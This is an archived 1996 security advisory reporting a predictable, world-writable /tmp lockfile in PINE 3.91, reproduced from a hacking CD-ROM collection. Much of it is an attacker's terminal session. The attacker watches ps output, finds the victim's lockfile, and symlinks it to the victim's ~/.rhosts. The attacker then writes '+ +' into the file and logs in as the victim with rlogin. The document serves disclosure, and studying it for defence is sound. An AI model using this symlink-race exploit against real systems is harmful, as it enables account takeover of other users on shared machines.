home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_pi.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.4 KB  |  94 lines

  1.  
  2.                           [BUG] Vulnerability in PINE
  3.                                        
  4.    Sean B. Hamor (hamors@litterbox.org)
  5.    Mon, 26 Aug 1996 19:35:05 -0400
  6.    
  7. Note:
  8.  
  9.   I'm not sure whether or not information this has been previously released.
  10.   I found this earlier this evening while poking around, and apologize if
  11.   I've just found an old bug.
  12.  
  13.   I verified the existence of this bug in PINE 3.91, however it had been
  14.   fixed in 3.95.  I don't know if 3.92, 3.93, or 3.94 are effected.  Even
  15.   though this bug has been fixed, I thought I'd still release this because
  16.   many Linux installations still use PINE 3.91, and most machines I have
  17.   accounts on still use PINE 3.91.
  18.  
  19.  
  20. Synopsis:
  21.  
  22.   A problem exists in PINE where the name used for the lockfile in /tmp/ is
  23.   easily guessable.  From various testing on a few machines, the name of the
  24.   lockfile is static for each user who launches PINE.  Note that the
  25.   lockfile is only created when there is new mail in the user's INBOX.
  26.  
  27.   This wouldn't normally be a problem, however this lockfile is created mode
  28.   666 in /tmp/.  The static lockfile name can be easily attained by doing an
  29.   ls in /tmp/ when it has been determined that the user is running PINE and
  30.   has new email.
  31.  
  32.  
  33. Exploit:
  34.  
  35.   By watching the process table with ps to see which users are running PINE,
  36.   one can then do an ls in /tmp/ to gather the lockfile names for each user.
  37.   Watching the process table once again will now reveal when each user quits
  38.   PINE or runs out of unread messages in their INBOX, effectively deleting
  39.   the respective lockfile.
  40.  
  41.   Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts
  42.   (for a generic example) will cause PINE to create ~hamors/.rhosts as a 666
  43.   file with PINE's process id as its contents.  One may now simply do an
  44.   echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.
  45.  
  46.   For this example, hamors is the victim while catluvr is the attacker:
  47.  
  48. hamors (21 19:04) litterbox:~> pine
  49.  
  50. catluvr (6 19:06) litterbox:~> ps -aux | grep pine
  51. catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
  52. hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine
  53.  
  54. catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
  55. - -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4
  56.  
  57. catluvr (8 19:07) litterbox:~> ps -aux | grep pine
  58. catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine
  59.  
  60. catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
  61.  
  62. hamors (23 19:09) litterbox:~> pine
  63.  
  64. catluvr (11 19:10) litterbox:~> ps -aux | grep pine
  65. catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
  66. hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine
  67.  
  68. catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
  69.  
  70. catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
  71. + +
  72.  
  73. catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
  74.  
  75. catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
  76.  
  77. Verification:
  78.  
  79. This vulnerability has been tested on the following platforms with the
  80. following versions of PINE:
  81.  
  82.   Linux Slackware 3.0 (1.2.13):  PINE 3.91
  83.   FreeBSD 2.1.0-RELEASE:  PINE 3.91
  84.  
  85.   Problem has been fixed in PINE 3.95 under Linux Slackware 3.0 (1.2.13):
  86.  
  87.   Log entry:
  88.   Aug 26 19:10:58 litterbox syslog: SECURITY PROBLEM: lock file /tmp/.302.f5a4
  89. is a symbolic link
  90.  
  91.   User warning:
  92.   [SECURITY ALERT: symbolic link on lock name!]
  93.   [Can't open mailbox lock, access is readonly]
  94.